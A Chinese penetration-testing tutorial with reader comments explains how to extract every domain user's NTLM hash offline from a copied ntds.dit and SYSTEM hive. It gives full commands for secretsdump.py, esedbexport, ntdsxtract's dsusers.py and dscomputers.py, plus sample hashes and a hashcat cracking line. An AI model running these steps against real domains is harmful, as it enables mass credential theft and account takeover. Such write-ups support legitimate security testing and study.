如何巧妙的从ntds.dit中提取Hash和域信息

来源:互联网 发布:宿舍神器 知乎 编辑:程序博客网 时间:2024/06/03 07:23

在渗透测试进入内网之后,首要目标就是得到域控权限,将域中所有用户的hash值全部跑出来,下载到本地。很多工具比如meterpreter中的smart_hashdump和Impacket中的secretsdump.py都可以做到。

但是有些情况下我只能拷贝出来NTDS.dit文件,然后离线将这些密码提取出来。今天正好碰到了这一情况,接下来我将详细的介绍一下如何将密码导出,当然假设我已经成功将这两个文件下载到本地:

1. ntds.dit:Extensible storage engine DataBase, version 0x620, checksum 0xa50ff5a, page size 8192, DirtyShutdown, Windows version 6.1  2. systemhive: MS Windows registry file, NT/2000 or above

使用Impacket

Imapacket的作者在twitter上告诉我secretsdump.py有一个本地选项,可以很简单的做到将密码提取出来。Impacket实在是太方便了,如果你已经有这两个文件,可以通过执行以下命令就可以得到hash值。

python secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL

稍等一会,它就会将域中所有用户的NTLM hash值呈现出来:

这是最简单一种方法,如果你想尝试着使用ntdsxtract导出表,你可以继续阅读~

安装esedbexport

从NTDS.dit中导出用户表的第一步就是使用libesedb中的esedbexport,你可以在下面网页中下载到最新版本: https://github.com/libyal/libesedb/releases 我使用的版本是:”libesedb-experimental-20170121”

下载并且解压:

$ wget https://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar.gz$ tar xf libesedb-experimental-20170121.tar.gz$ cd libesedb-20170121/

安装依赖:

$ sudo apt-get install autoconf automake autopoint libtool pkg-config

进行安装:

$ ./configure$ make$ sudo make install$ sudo ldconfig

如果一切顺利地话,你会在/usr/local/bin/esedbexport得到这个工具。

提取表

现在工具已经安装完成,使用这个工具可以从ntds.dit中提取出表,在执行过程中会新建一个名称为ntds.dit.export文件夹存放提取出来的表,命令为:

$ /usr/local/bin/esedbexport -m tables ntds.dit

这一步骤进行的时间有点长,在我的机器上进行了20-30分钟,在执行完毕之后,你会看到成功的分离出了表:

【不支持外链图片,请上传图片或单独粘贴图片】

两个重要的表为:datatable以及link_table,他们都会被存放在./ntds.dit.export/文件夹中.

使用ntdsxtract提取域中信息

一旦表被提取出来,很多python工具可以将这些表中的信息进一步提取,比如ntdsxtract就可以完美进行。

安装命令:

$ git clone https://github.com/csababarta/ntdsxtract.git$ cd ntdsxtract/$ python setup.py build && python setup.py install

执行完毕之后,ntdsxtract就会在你的系统上进行安装。

提取用户信息以及密码hash值

ntdsxtract工具中dsusers.py可以被用来从分离出来的表中提取用户信息以及NT/LM密码hash值。前提是具有如下三个文件:

datatablelink_tablesystem hive

这个工具的使用规则为:

dsusers.py <datatable> <link_table> <output_dir> --syshive <systemhive> --passwordhashes <format options>

–pwdformat选项是选择以什么格式进行提取,有john(John format),ocl(oclHashcat),ophc(OphCrack)三个选项。

这个工具还会将所获得信息输出出来,这也方便了我们可以将信息写入到其他文件当中。

以oclHashcat格式提取所有NT和LM的hash,并将它们保存在”output”目录中的”ntout”和”lmout”中:

$ dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive systemhive --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user_info.txt

执行结束之后,NT的hash值已经以oclHashcat格式提取出来了:

root@kali:~/ntds_cracking# head -n2 output/ntout  user1:BC62AC0F8EA9DD1AD703C8B4F0A968C4  user2:0E10081EDBCFB92DE6156F9046FF7881

进一步查看我们提取出来的文件,我们还可以看到其他信息,比如SID,密码修改时间,以及最后登录时间等等:

通过hashcat进行简单hash破解:

$ hashcat -m 1000 output/ntout --username /path/to/wordlist

进一步提取域中计算机信息

Ntdsxtract中还具有一个工具可以从分离出来的表中提取域中计算机信息。这对于离线分析目标信息是非常有用的。

在使用过程中,需要对它提供datatable,输出目录以及输出文件,格式为csv:

$ dscomputers.py ntds.dit.export/datatable.3 computer_output --csvoutfile all_computers.csv

执行完毕之后他会在all_computers.csv中写入所有域中计算机信息。如下:

head -n 1 computer_output/all_computers.csv"Record ID";"Computer name";"DNS name";"GUID";"SID";"OS name";"OS version";"When created";"When changed";"Bitlocker recovery name";"Bitlocker recovery GUID";"Bitlocker volume GUID";"Bitlocker when created";"Bitlocker when changed";"Bitlocker recovery password";"Dial-In Permission"

总结

使用secretsdump.py或者其他方法可以很快的提取域中用户以及其他密码哈希等等信息。不过如果你想通过离线对NTDS.dit以及SYSTEM hive文件进行提取的话,希望这篇文章可以给你提供帮助。

*本文作者:liulang,转载请注明来自 FreeBuf.COM

发表评论

已有 4 条评论

  • 1111  2017-11-01回复1楼

    https://blog.ropnop.com/extracting-hashes-and-domain-info-from-ntds-dit/

    亮了(2)
  • 死宅10086 (7级) 这家伙太懒了,还未填写个人描述! 2017-11-01 回复2楼

    666 :mrgreen::mrgreen::mrgreen:

    亮了(1)
  • 子不语  2017-11-02回复3楼

    不是有更简单的吗??遇见上G的ntds.dit一般工具直接读不出,有个工具,名字忘了,简写wps还是啥的,直接读出,gui界面,功能齐全,win平台,速度快,查询方便

    亮了(0)
    • poc(清真)  2017-11-03回复

      @ 子不语 你倒是把简单的发出来啊,没想到安全圈也这么多喷子

      亮了(0)